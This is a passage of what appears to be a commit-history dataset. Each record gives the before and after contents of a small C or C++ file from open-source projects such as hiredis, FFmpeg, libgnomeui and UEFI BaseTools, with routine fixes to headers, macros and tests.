91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"bb1747b1bf92431e5c5e9699824d2ef52f863f45","old_file":"fmacros.h","new_file":"fmacros.h","old_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#elif defined(__linux__) || defined(__OpenBSD__) || defined(__NetBSD__)\n#define _XOPEN_SOURCE 600\n#else\n#define _XOPEN_SOURCE\n#endif\n\n#if __APPLE__ && __MACH__\n#define _OSX\n#endif\n\n#endif\n","new_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#else\n#define _XOPEN_SOURCE 600\n#endif\n\n#if __APPLE__ && __MACH__\n#define _OSX\n#endif\n\n#endif\n","subject":"Fix strerror_r on some esoteric platforms","message":"Fix strerror_r on some esoteric platforms\n\nDefining _XOPEN_SOURCE=1 causes strange behavior on Debian kfreebsd\narchs (i.e. GNU userspace with FreeBSD kernel) when _GNU_SOURCE is not\ndefined.\n\nNot sure I fully understand the bizarre semantics, but it seems to\nuse the XSI-compliant interface\n(int strerror_r(int, char*, size_t)) but the GNU implementation\n(char *strerror_r(int, char*, size_t)) such that strerror_r returns\n32-bits of a 64-bit char * on x86_64 kfreebsd. We would expect\nstrerror_r to return zero when using the XSI-compliant strerror_r\nimplementation or a 64-bit char* when using the GNU version. Instead,\nwe get something in between!\n\nUnless I'm missing something, being more explicit about what version\nof _XOPEN_SOURCE we want seems to be the prudent thing to do here --\nand if folks want the GNU implementation of strerror_r for some reason\nthey can always -D_GNU_SOURCE explicitly.\n","lang":"C","license":"bsd-3-clause","repos":"thomaslee\/hiredis,thomaslee\/hiredis,jinguoli\/hiredis,owent-contrib\/hiredis,owent-contrib\/hiredis,redis\/hiredis,redis\/hiredis,jinguoli\/hiredis,redis\/hiredis,jinguoli\/hiredis,charsyam\/hiredis,charsyam\/hiredis"}
{"commit":"7e4fff3bb420820b67562ccd1d706e17d795cf8d","old_file":"UnitTest++\/RequiredCheckTestReporter.h","new_file":"UnitTest++\/RequiredCheckTestReporter.h","old_contents":"#ifndef UNITTEST_REQUIRED_CHECK_TEST_REPORTER_H\n#define UNITTEST_REQUIRED_CHECK_TEST_REPORTER_H\n\n#include \"HelperMacros.h\"\n#include \"ThrowingTestReporter.h\"\n\nnamespace UnitTest {\n\n   class TestResults;\n\n   \/\/ This RAII class decorates the current TestReporter with\n   \/\/ a version that throws after reporting a failure.\n   class UNITTEST_LINKAGE RequiredCheckTestReporter\n   {\n   public:\n      explicit RequiredCheckTestReporter(TestResults& results);\n      ~RequiredCheckTestReporter();\n\n      bool Next();\n\n   private:\n      TestResults& m_results;\n      TestReporter* m_originalTestReporter;\n      ThrowingTestReporter m_throwingReporter;\n      int m_continue;\n   };\n}\n\n#endif\n\n","new_contents":"#ifndef UNITTEST_REQUIRED_CHECK_TEST_REPORTER_H\n#define UNITTEST_REQUIRED_CHECK_TEST_REPORTER_H\n\n#include \"HelperMacros.h\"\n#include \"ThrowingTestReporter.h\"\n\nnamespace UnitTest {\n\n   class TestResults;\n\n   \/\/ This RAII class decorates the current TestReporter with\n   \/\/ a version that throws after reporting a failure.\n   class UNITTEST_LINKAGE RequiredCheckTestReporter\n   {\n   public:\n      explicit RequiredCheckTestReporter(TestResults& results);\n      ~RequiredCheckTestReporter();\n\n      bool Next();\n\n   private:\n      RequiredCheckTestReporter(RequiredCheckTestReporter const&);\n      RequiredCheckTestReporter& operator =(RequiredCheckTestReporter const&);\n\n      TestResults& m_results;\n      TestReporter* m_originalTestReporter;\n      ThrowingTestReporter m_throwingReporter;\n      int m_continue;\n   };\n}\n\n#endif\n\n","subject":"Fix \"assignment operator could not be generated\" warning","message":"Fix \"assignment operator could not be generated\" warning\n\nThis shows up with \/W4 on MSVC. Fixes #107.\n","lang":"C","license":"mit","repos":"grahamreeds\/unittest-cpp,unittest-cpp\/unittest-cpp,pjohnmeyer\/unittest-cpp,pjohnmeyer\/unittest-cpp,grahamreeds\/unittest-cpp,unittest-cpp\/unittest-cpp,unittest-cpp\/unittest-cpp,grahamreeds\/unittest-cpp"}
{"commit":"ff8c80c666600851cfedf18acb094c226914ca25","old_file":"sort\/heap_sort\/C\/cheap_sort.c","new_file":"sort\/heap_sort\/C\/cheap_sort.c","old_contents":"","new_contents":"#include<stdio.h>\n \nvoid create(int []);\nvoid down_adjust(int [],int);\n \nvoid main()\n{\n\tint heap[30],n,i,last,temp;\n\tprintf(\"Enter no. of elements:\");\n\tscanf(\"%d\",&n);\n\tprintf(\"\\nEnter elements:\");\n\tfor(i=1;i<=n;i++)\n\t\tscanf(\"%d\",&heap[i]);\n\t\n\t\/\/create a heap\n\theap[0]=n;\n\tcreate(heap);\n\t\n\t\/\/sorting\n\twhile(heap[0] > 1)\n\t{\n\t\t\/\/swap heap[1] and heap[last]\n\t\tlast=heap[0];\n\t\ttemp=heap[1];\n\t\theap[1]=heap[last];\n\t\theap[last]=temp;\n\t\theap[0]--;\n\t\tdown_adjust(heap,1);\n\t}\n \n\t\/\/print sorted data\n\tprintf(\"\\nArray after sorting:\\n\");\n\tfor(i=1;i<=n;i++)\n\t\tprintf(\"%d \",heap[i]);\n}\n \nvoid create(int heap[])\n{\n\tint i,n;\n\tn=heap[0]; \/\/no. of elements\n\tfor(i=n\/2;i>=1;i--)\n\t\tdown_adjust(heap,i);\n}\n \nvoid down_adjust(int heap[],int i)\n{\n\tint j,temp,n,flag=1;\n\tn=heap[0];\n\t\n\twhile(2*i<=n && flag==1)\n\t{\n\t\tj=2*i;\t\/\/j points to left child\n\t\tif(j+1<=n && heap[j+1] > heap[j])\n\t\t\tj=j+1;\n\t\tif(heap[i] > heap[j])\n\t\t\tflag=0;\n\t\telse\n\t\t{\n\t\t\ttemp=heap[i];\n\t\t\theap[i]=heap[j];\n\t\t\theap[j]=temp;\n\t\t\ti=j;\n\t\t}\n\t}\n}","subject":"Add heap sort in C","message":"Add heap sort in C\n","lang":"C","license":"cc0-1.0","repos":"ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms"}
{"commit":"c925a7d9aa57a5e4436cea8902518f93875230f3","old_file":"src\/tests\/recursion\/stack_recursion.c","new_file":"src\/tests\/recursion\/stack_recursion.c","old_contents":"\/**\n * @file\n * @brief tests proper stack usage (particularly, right handling\n * of window overflow\/underflow on SPARC).\n *\n * @date 14.08.09\n * @author Eldar Abusalimov\n *\/\n\n#include <embox\/test.h>\n#include <test\/misc.h>\n\n#define RECURSION_DEPTH 32\n\nEMBOX_TEST(run);\n\nstatic int run(void) {\n\treturn test_misc_recursion(RECURSION_DEPTH);\n}\n","new_contents":"\/**\n * @file\n * @brief Tests proper stack usage.\n *\n * @date 14.08.09\n * @author Eldar Abusalimov\n *\/\n\n#include <embox\/test.h>\n#include <test\/misc.h>\n\nEMBOX_TEST_SUITE(\"Stack usage tests\");\n\nstatic int fib(int k) {\n\tif (k < 2) {\n\t\treturn k;\n\t} else {\n\t\treturn fib(k - 1) + fib(k - 2);\n\t}\n}\n\nTEST_CASE(\"Recursively calculating Fibonacci number\") {\n\ttest_assert_equal(fib(0), 0);\n\ttest_assert_equal(fib(1), 1);\n\ttest_assert_equal(fib(2), 1);\n\ttest_assert_equal(fib(3), 2);\n\ttest_assert_equal(fib(4), 3);\n\ttest_assert_equal(fib(5), 5);\n\n\t\/* This is madness. This is SPARC!!! *\/\n\ttest_assert_equal(fib(17), 1597);\n}\n","subject":"Rewrite recursion test to calculate Fibonacci","message":"Rewrite recursion test to calculate Fibonacci","lang":"C","license":"bsd-2-clause","repos":"Kefir0192\/embox,gzoom13\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,mike2390\/embox,Kakadu\/embox,vrxfile\/embox-trik,Kefir0192\/embox,Kefir0192\/embox,Kakadu\/embox,mike2390\/embox,mike2390\/embox,abusalimov\/embox,Kefir0192\/embox,Kakadu\/embox,mike2390\/embox,mike2390\/embox,embox\/embox,embox\/embox,abusalimov\/embox,embox\/embox,embox\/embox,Kefir0192\/embox,gzoom13\/embox,Kefir0192\/embox,vrxfile\/embox-trik,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,Kakadu\/embox,Kefir0192\/embox,mike2390\/embox,abusalimov\/embox,abusalimov\/embox,abusalimov\/embox,gzoom13\/embox,gzoom13\/embox,vrxfile\/embox-trik,gzoom13\/embox,Kakadu\/embox,abusalimov\/embox,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox"}
{"commit":"235f68e300b1941b36349111f0921ac506859b72","old_file":"firmware\/Nanpy\/cfg.h","new_file":"firmware\/Nanpy\/cfg.h","old_contents":"#pragma once\n\n#define BAUDRATE 115200\n\n#define USE_Servo                                   1\n#define USE_Tone                                    0\n#define USE_LiquidCrystal                           1\n#define USE_Stepper                                 1\n#define USE_EEPROM                                  1\n#define USE_Define                                  1\n#define USE_ArduinoCore                             1\n#define USE_Watchdog                                1\n#define USE_Register                                1\n#define USE_Info                                    1\n\n\/\/ conflicts Tone\n#define USE_Counter                                 1\n\n\n\/\/ external libraries should be installed for the following features:\n#define USE_OneWire                                 1\n#define USE_DallasTemperature                       0\n#define USE_CapacitiveSensor                        1\n#define USE_DHT                                     1\n\n\n\n\n#if USE_Tone\n# if USE_Counter\n#  error \"USE_Tone conflicts with USE_Counter!\"\n# endif\n#endif\n","new_contents":"#pragma once\n\n#define BAUDRATE 115200\n\n#define USE_Servo                                   1\n#define USE_Tone                                    0\n#define USE_LiquidCrystal                           1\n#define USE_Stepper                                 1\n#define USE_EEPROM                                  1\n#define USE_Define                                  1\n#define USE_ArduinoCore                             1\n#define USE_Watchdog                                1\n#define USE_Register                                1\n#define USE_Info                                    1\n\n\/\/ conflicts Tone\n#define USE_Counter                                 1\n\n\n\/\/ external libraries should be installed for the following features:\n#define USE_OneWire                                 0\n#define USE_DallasTemperature                       0\n#define USE_CapacitiveSensor                        0\n#define USE_DHT                                     0\n\n\n\n\n#if USE_Tone\n# if USE_Counter\n#  error \"USE_Tone conflicts with USE_Counter!\"\n# endif\n#endif\n","subject":"Disable features requiring external libs","message":"Disable features requiring external libs\n","lang":"C","license":"mit","repos":"joppi\/nanpy,ryanvade\/nanpy,nanpy\/nanpy"}
{"commit":"ca74d831440a39165d25d220e30a2f0a6f678301","old_file":"libgnomeui\/gnome-window.h","new_file":"libgnomeui\/gnome-window.h","old_contents":"\/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 8; tab-width: 8 -*- *\/\n\/*\n * gnome-window.h: wrappers for setting window properties\n *\n * Author:  Chema Celorio <chema@celorio.com>\n *\/\n\n\/*\n * These functions are a convenience wrapper for gtk_window_set_title\n * This allows all the gnome-apps to have a consitent way of setting\n * the window & dialogs titles. We could also add a configurable way\n * of setting the windows titles in the future..\n *\n * These functions were added with the 1.2.5 release of the GNOME libraries\n * in Oct, 2000.  This means that not all users will have this functionality\n * in the GNOME libraries, and should only be used accordingly.  The header file\n * must be explicitely included, also (#include <libgnomeui\/gnome-window.h>).\n *\/\n\n#ifndef GNOME_WINDOW_H\n#define GNOME_WINDOW_H\n\n#include <gtk\/gtkwindow.h>\n\nG_BEGIN_DECLS\n\n\/* set the window title *\/\nvoid gnome_window_toplevel_set_title (GtkWindow *w,\n\t\t\t\t      const gchar *doc_name,\n\t\t\t\t      const gchar *app_name,\n\t\t\t\t      const gchar *extension);\n\n\nG_END_DECLS\n\n#endif \/* GNOME_WINDOW_H *\/\n","new_contents":"\/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 8; tab-width: 8 -*- *\/\n\/*\n * gnome-window.h: wrappers for setting window properties\n *\n * Author:  Chema Celorio <chema@celorio.com>\n *\/\n\n\/*\n * These functions are a convenience wrapper for gtk_window_set_title\n * This allows all the gnome-apps to have a consitent way of setting\n * the window & dialogs titles. We could also add a configurable way\n * of setting the windows titles in the future..\n *\n * These functions were added with the 1.2.5 release of the GNOME libraries\n * in Oct, 2000.  This means that not all users will have this functionality\n * in the GNOME libraries, and should only be used accordingly.  The header file\n * must be explicitely included, also (#include <libgnomeui\/gnome-window.h>).\n *\/\n\n#ifndef GNOME_WINDOW_H\n#define GNOME_WINDOW_H\n\n#include <gtk\/gtkwindow.h>\n\nG_BEGIN_DECLS\n\n\/* set the window title *\/\nvoid gnome_window_toplevel_set_title (GtkWindow *w,\n\t\t\t\t      const gchar *doc_name,\n\t\t\t\t      const gchar *app_name,\n\t\t\t\t      const gchar *extension);\n\nvoid gnome_window_set_icon (GtkWindow *window,\n\t\t\t    GdkPixbuf *pixbuf,\n\t\t\t    gboolean overwrite);\n\nvoid gnome_window_set_icon_from_file (GtkWindow *window,\n\t\t\t\t      const char *filename,\n\t\t\t\t      gboolean overwrite);\n\nG_END_DECLS\n\n#endif \/* GNOME_WINDOW_H *\/\n","subject":"Use GtkDialog, not GnomeDialog. (GnomeAbout, GnomeAbout): Derive from","message":"Use GtkDialog, not GnomeDialog. (GnomeAbout, GnomeAbout): Derive from\n\n2001-04-25  Martin Baulig  <baulig@suse.de>\n\n\t* gnome-about.[ch]: Use GtkDialog, not GnomeDialog.\n\t(GnomeAbout, GnomeAbout): Derive from GtkDialog, not GnomeDialog.\n\n\t* gnome-client.[ch]: Likewise.\n\t(gnome_client_save_any_dialog, gnome_client_save_error_dialog): Take\n\ta GtkDialog as argument, not a GnomeDialog.\n\n\t* gnome-helpsys.c, gnome-href.c, gnome-icon-entry.c, gnome_segv.c: Use\n\tGtkDialog, not GnomeDialog.\n\n\t* gnome-window.c (gnome_window_set_icon, gnome_window_set_icon_from_file):\n\tMoved here from gnome-app-util.c.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/libgnomeui,Distrotech\/libgnomeui,Distrotech\/libgnomeui"}
{"commit":"a141b0159da3f91cd0086552fd0a4056e7043546","old_file":"libavcodec\/lzo.h","new_file":"libavcodec\/lzo.h","old_contents":"\/*\n * LZO 1x decompression\n * copyright (c) 2006 Reimar Doeffinger\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef _LZO_H\n#define LZO_H\n\n#define LZO_INPUT_DEPLETED 1\n#define LZO_OUTPUT_FULL 2\n#define LZO_INVALID_BACKPTR 4\n#define LZO_ERROR 8\n\n#define LZO_INPUT_PADDING 4\n#define LZO_OUTPUT_PADDING 12\n\nint lzo1x_decode(void *out, int *outlen, void *in, int *inlen);\n\n#endif\n","new_contents":"\/*\n * LZO 1x decompression\n * copyright (c) 2006 Reimar Doeffinger\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef LZO_H\n#define LZO_H\n\n#define LZO_INPUT_DEPLETED 1\n#define LZO_OUTPUT_FULL 2\n#define LZO_INVALID_BACKPTR 4\n#define LZO_ERROR 8\n\n#define LZO_INPUT_PADDING 4\n#define LZO_OUTPUT_PADDING 12\n\nint lzo1x_decode(void *out, int *outlen, void *in, int *inlen);\n\n#endif\n","subject":"Fix _LZO_H vs. LZO_H typo","message":"Fix _LZO_H vs. LZO_H typo\n\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@7732 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"}
{"commit":"01dc85d1e99ea9ff3c09b67985f52c77ce461315","old_file":"tests\/apps\/wine.h","new_file":"tests\/apps\/wine.h","old_contents":"\/**************************************************************************\n *\n * Copyright 2016 Jose Fonseca\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. NO EVENT SHALL\n * THE COPYRIGHT HOLDERS, AUTHORS AND\/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OF OR CONNECTION WITH THE SOFTWARE OR THE\n * USE OR OTHER DEALINGS THE SOFTWARE.\n *\n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n *\n **************************************************************************\/\n\n#pragma once\n\n#include <windows.h>\n\n\/\/ http:\/\/wiki.winehq.org\/DeveloperFaq#detect-wine\nstatic inline BOOL\ninsideWine(void)\n{\n    HMODULE hNtDll = GetModuleHandleA(\"ntdll\");\n    if (!hNtDll) {\n        return FALSE;\n    }\n    return GetProcAddress(hNtDll, \"wine_get_version\") != NULL;\n}\n","new_contents":"\/**************************************************************************\n *\n * Copyright 2016 Jose Fonseca\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. NO EVENT SHALL\n * THE COPYRIGHT HOLDERS, AUTHORS AND\/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OF OR CONNECTION WITH THE SOFTWARE OR THE\n * USE OR OTHER DEALINGS THE SOFTWARE.\n *\n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n *\n **************************************************************************\/\n\n#pragma once\n\n#include <windows.h>\n\n\/\/ http:\/\/wiki.winehq.org\/DeveloperFaq#detect-wine\nstatic __inline BOOL\ninsideWine(void)\n{\n    HMODULE hNtDll = GetModuleHandleA(\"ntdll\");\n    if (!hNtDll) {\n        return FALSE;\n    }\n    return GetProcAddress(hNtDll, \"wine_get_version\") != NULL;\n}\n","subject":"Use __inline to fix MSVC build.","message":"tests\/apps: Use __inline to fix MSVC build.\n","lang":"C","license":"lgpl-2.1","repos":"jrfonseca\/drmingw,jrfonseca\/drmingw,jrfonseca\/drmingw,jrfonseca\/drmingw"}
{"commit":"bf7e1ff9c40570768a5c0f57b68ec6188479db66","old_file":"primitiv\/model.h","new_file":"primitiv\/model.h","old_contents":"#ifndef PRIMITIV_MODEL_H_\n#define PRIMITIV_MODEL_H_\n\n#include <string>\n#include <vector>\n#include <unordered_map>\n#include <unordered_set>\n\nnamespace primitiv {\n\nclass Parameter;\n\n\/**\n * Set of parameters and specific algorithms.\n *\/\nclass Model {\n  Model(const Model &) = delete;\n  Model &operator=(const Model &) = delete;\n\npublic:\n  Model() = default;\n  Model(Model &&) = default;\n  Model &operator=(Model &&) = default;\n  virtual ~Model() = default;\n\n  \/**\n   * Registers a new parameter.\n   * @param name Name of the parameter.\n   * @param param Reference to the parameter.\n   *\/\n  void add_parameter(const std::string &name, Parameter &param);\n\n  \/**\n   * Retrieves all parameters in the model which are trainable.\n   * @return List of pointers of trainable parameters.\n   *\/\n  std::vector<Parameter *>get_trainable_parameters() const;\n\nprivate:\n  std::unordered_map<std::string, Parameter *> param_kv_;\n  std::unordered_set<Parameter *> param_set_;  \/\/ Shortcut to find parameters.\n};\n\n}  \/\/ namespace primitiv\n\n#endif  \/\/ PRIMITIV_MODEL_H_\n","new_contents":"#ifndef PRIMITIV_MODEL_H_\n#define PRIMITIV_MODEL_H_\n\n#include <string>\n#include <vector>\n#include <unordered_map>\n#include <unordered_set>\n\n#include <primitiv\/mixins.h>\n\nnamespace primitiv {\n\nclass Parameter;\n\n\/**\n * Set of parameters and specific algorithms.\n *\/\nclass Model : mixins::Nonmovable<Model> {\npublic:\n  Model() = default;\n  virtual ~Model() = default;\n\n  \/**\n   * Registers a new parameter.\n   * @param name Name of the parameter.\n   * @param param Reference to the parameter.\n   *\/\n  void add_parameter(const std::string &name, Parameter &param);\n\n  \/**\n   * Retrieves all parameters in the model which are trainable.\n   * @return List of pointers of trainable parameters.\n   *\/\n  std::vector<Parameter *>get_trainable_parameters() const;\n\nprivate:\n  std::unordered_map<std::string, Parameter *> param_kv_;\n  std::unordered_set<Parameter *> param_set_;  \/\/ Shortcut to find parameters.\n};\n\n}  \/\/ namespace primitiv\n\n#endif  \/\/ PRIMITIV_MODEL_H_\n","subject":"Add Nonmovable inheritance to Model.","message":"Add Nonmovable inheritance to Model.\n","lang":"C","license":"apache-2.0","repos":"odashi\/primitiv,odashi\/primitiv,odashi\/primitiv"}
{"commit":"a532922ccf61505c9ac667ae40f617aea8376f95","old_file":"SSPSolution\/SSPSolution\/LeverEntity.h","new_file":"SSPSolution\/SSPSolution\/LeverEntity.h","old_contents":"#ifndef SSPAPPLICATION_ENTITIES_LEVERENTITY_H\n#define SSPAPPLICATION_ENTITIES_LEVERENTITY_H\n#include \"Entity.h\"\n\nstruct LeverSyncState {\n\n};\n\nclass LeverEntity :\n\tpublic Entity\n{\nprivate:\n\t\/\/Variables\n\tbool m_isActive;\n\tfloat m_range;\npublic:\n\tLeverEntity();\n\tvirtual ~LeverEntity();\n\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\t\/\/For now we check only if the player is close enough\n\tint CheckPressed(DirectX::XMFLOAT3 playerPos);\n\nprivate:\n\t\/\/Functions\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_ENTITIES_LEVERENTITY_H\n#define SSPAPPLICATION_ENTITIES_LEVERENTITY_H\n#include \"Entity.h\"\n\nstruct LeverSyncState {\n\tint entityID;\n\tbool iActive;\n};\n\nclass LeverEntity :\n\tpublic Entity\n{\nprivate:\n\t\/\/Variables\n\tbool m_isActive;\n\tfloat m_range;\n\n\tbool m_needSync;\npublic:\n\tLeverEntity();\n\tvirtual ~LeverEntity();\n\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\t\/\/For now we check only if the player is close enough\n\tint CheckPressed(DirectX::XMFLOAT3 playerPos);\n\nprivate:\n\t\/\/Functions\n};\n\n#endif","subject":"UPDATE Lever entity sync state","message":"UPDATE Lever entity sync state\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"d58d5509b7b14090960b8076160e4868124b4ffd","old_file":"Source\/C\/Include\/Common\/UefiCapsule.h","new_file":"Source\/C\/Include\/Common\/UefiCapsule.h","old_contents":"","new_contents":"\/** @file\r\n  Defines for the EFI Capsule functionality.\r\n\r\n  Copyright (c) 2006, Intel Corporation                                                         \r\n  All rights reserved. This program and the accompanying materials                          \r\n  are licensed and made available under the terms and conditions of the BSD License         \r\n  which accompanies this distribution.  The full text of the license may be found at        \r\n  http:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\n  Module Name:  Capsule.h\r\n\r\n  @par Revision Reference:\r\n  These definitions are from Uefi Spec.\r\n\r\n**\/\r\n\r\n#ifndef _EFI_CAPSULE_H_\r\n#define _EFI_CAPSULE_H_\r\n\r\ntypedef struct {\r\n  EFI_GUID          CapsuleGuid;\r\n  UINT32            HeaderSize;\r\n  UINT32            Flags;\r\n  UINT32            CapsuleImageSize;\r\n} EFI_CAPSULE_HEADER;\r\n\r\n#define CAPSULE_FLAGS_PERSIST_ACROSS_RESET          0x00010000\r\n#define CAPSULE_FLAGS_POPULATE_SYSTEM_TABLE         0x00020000\r\n\r\n#endif \/\/ #ifndef _EFI_CAPSULE_H_\r\n","subject":"Add Uefi Capsule Definition header file.","message":"Add Uefi Capsule Definition header file.\n\ngit-svn-id: f3880c1fc5096ce2109c8aec392d8e07f619f417@357 c2973edb-eda0-4c78-bc6a-9341b269661f\n","lang":"C","license":"bsd-2-clause","repos":"bitcrystal\/buildtools-BaseTools,bitcrystal\/buildtools-BaseTools,tianocore\/buildtools-BaseTools,tianocore\/buildtools-BaseTools,tianocore\/buildtools-BaseTools,tianocore\/buildtools-BaseTools,tianocore\/buildtools-BaseTools,bitcrystal\/buildtools-BaseTools,bitcrystal\/buildtools-BaseTools,bitcrystal\/buildtools-BaseTools"}
{"commit":"0e213c5f54728abb8404b6382342fb08da8c086e","old_file":"src\/ioc\/ioc.h","new_file":"src\/ioc\/ioc.h","old_contents":"#ifndef APIMOCK_IOC_H\n#define\tAPIMOCK_IOC_H\n\n#include <unordered_map>\n#include <string>\n\nnamespace ApiMock {\n\tclass ServiceRegistry {\n\t\tstatic std::unordered_map<std::string, void*> container;\n\n\tpublic:\n\t\ttemplate<typename T> \n\t\tstatic void Register(T* object) {\n\t\t\tcontainer[typeid(T).name()] = reinterpret_cast<void*>(object);\n\t\t}\n\n\t\ttemplate<typename T> \n\t\tstatic T* Resolve() {\n\t\t\treturn static_cast<T*>(container[typeid(T).name()]);\n\t\t}\n\t};\n\n\tstd::unordered_map<std::string, void*> ServiceRegistry::container;\n};\n\n#endif","new_contents":"#ifndef APIMOCK_IOC_H\n#define\tAPIMOCK_IOC_H\n\n#include <unordered_map>\n#include <typeinfo>\n#include <string>\n\nnamespace ApiMock {\n\tclass ServiceRegistry {\n\t\tstatic std::unordered_map<std::string, void*> container;\n\n\tpublic:\n\t\ttemplate<typename T> \n\t\tstatic void Register(T* object) {\n\t\t\tcontainer[typeid(T).name()] = reinterpret_cast<void*>(object);\n\t\t}\n\n\t\ttemplate<typename T> \n\t\tstatic T* Resolve() {\n\t\t\treturn static_cast<T*>(container[typeid(T).name()]);\n\t\t}\n\t};\n\n\tstd::unordered_map<std::string, void*> ServiceRegistry::container;\n};\n\n#endif","subject":"Include typeinfo header for RTTI","message":"Include typeinfo header for RTTI\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
